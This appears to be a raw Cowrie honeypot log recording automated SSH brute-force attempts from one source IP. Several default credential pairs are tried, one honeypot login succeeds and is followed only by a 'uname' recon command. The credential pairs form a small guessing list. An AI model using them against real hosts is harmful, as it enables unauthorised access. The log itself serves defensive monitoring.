{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42466,"dst_ip":"159.203.135.109","dst_port":22,"session":"eebd1901118e","protocol":"ssh","message":"New connection: 192.109.200.237:42466 (159.203.135.109:22) [session: eebd1901118e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:38.977289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:39.043661Z","src_ip":"192.109.200.237","session":"eebd1901118e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:39.125887Z","src_ip":"192.109.200.237","session":"eebd1901118e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:39.372397Z","src_ip":"192.109.200.237","session":"eebd1901118e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:40.458003Z","src_ip":"192.109.200.237","session":"eebd1901118e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47412,"dst_ip":"159.203.135.109","dst_port":22,"session":"8db6b6cb30e5","protocol":"ssh","message":"New connection: 192.109.200.237:47412 (159.203.135.109:22) [session: 8db6b6cb30e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:42.376715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:42.381375Z","src_ip":"192.109.200.237","session":"8db6b6cb30e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:42.463506Z","src_ip":"192.109.200.237","session":"8db6b6cb30e5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:42.710190Z","src_ip":"192.109.200.237","session":"8db6b6cb30e5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:42.927114Z","src_ip":"192.109.200.237","session":"8db6b6cb30e5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:42.930589Z","src_ip":"192.109.200.237","session":"8db6b6cb30e5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:43.016604Z","src_ip":"192.109.200.237","session":"8db6b6cb30e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:43.021317Z","src_ip":"192.109.200.237","session":"8db6b6cb30e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47422,"dst_ip":"159.203.135.109","dst_port":22,"session":"a80c4ee3fd44","protocol":"ssh","message":"New connection: 192.109.200.237:47422 (159.203.135.109:22) [session: a80c4ee3fd44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:45.829049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:45.836942Z","src_ip":"192.109.200.237","session":"a80c4ee3fd44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:45.919999Z","src_ip":"192.109.200.237","session":"a80c4ee3fd44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:46.166798Z","src_ip":"192.109.200.237","session":"a80c4ee3fd44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:47.252038Z","src_ip":"192.109.200.237","session":"a80c4ee3fd44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47434,"dst_ip":"159.203.135.109","dst_port":22,"session":"01a7764bdbc0","protocol":"ssh","message":"New connection: 192.109.200.237:47434 (159.203.135.109:22) [session: 01a7764bdbc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:49.236273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:49.243266Z","src_ip":"192.109.200.237","session":"01a7764bdbc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:49.325001Z","src_ip":"192.109.200.237","session":"01a7764bdbc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:49.570380Z","src_ip":"192.109.200.237","session":"01a7764bdbc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:50.655111Z","src_ip":"192.109.200.237","session":"01a7764bdbc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50848,"dst_ip":"159.203.135.109","dst_port":22,"session":"12d4799dc16b","protocol":"ssh","message":"New connection: 192.109.200.237:50848 (159.203.135.109:22) [session: 12d4799dc16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:52.725199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:52.729485Z","src_ip":"192.109.200.237","session":"12d4799dc16b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:52.813118Z","src_ip":"192.109.200.237","session":"12d4799dc16b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:53.060503Z","src_ip":"192.109.200.237","session":"12d4799dc16b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:54.145948Z","src_ip":"192.109.200.237","session":"12d4799dc16b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.74369716644287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:54.938441Z","src_ip":"50.6.8.71","session":"91a1a1d6dece","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50876,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab75e0107609","protocol":"ssh","message":"New connection: 192.109.200.237:50876 (159.203.135.109:22) [session: ab75e0107609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:56.250719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:56.259246Z","src_ip":"192.109.200.237","session":"ab75e0107609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:56.341073Z","src_ip":"192.109.200.237","session":"ab75e0107609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:56.587470Z","src_ip":"192.109.200.237","session":"ab75e0107609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:57.672335Z","src_ip":"192.109.200.237","session":"ab75e0107609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50894,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e8d91f1fc54","protocol":"ssh","message":"New connection: 192.109.200.237:50894 (159.203.135.109:22) [session: 2e8d91f1fc54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:59.778583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:59.782757Z","src_ip":"192.109.200.237","session":"2e8d91f1fc54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:59.864555Z","src_ip":"192.109.200.237","session":"2e8d91f1fc54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:00.110289Z","src_ip":"192.109.200.237","session":"2e8d91f1fc54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:01.195082Z","src_ip":"192.109.200.237","session":"2e8d91f1fc54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39194,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4f0b3d03f73","protocol":"ssh","message":"New connection: 192.109.200.237:39194 (159.203.135.109:22) [session: b4f0b3d03f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:03.369666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:03.382620Z","src_ip":"192.109.200.237","session":"b4f0b3d03f73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:03.465576Z","src_ip":"192.109.200.237","session":"b4f0b3d03f73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:03.714076Z","src_ip":"192.109.200.237","session":"b4f0b3d03f73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58302,"dst_ip":"10.17.0.5","dst_port":23,"session":"88e37c9114bb","protocol":"telnet","message":"New connection: 50.6.8.71:58302 (10.17.0.5:23) [session: 88e37c9114bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:04.794854Z"}
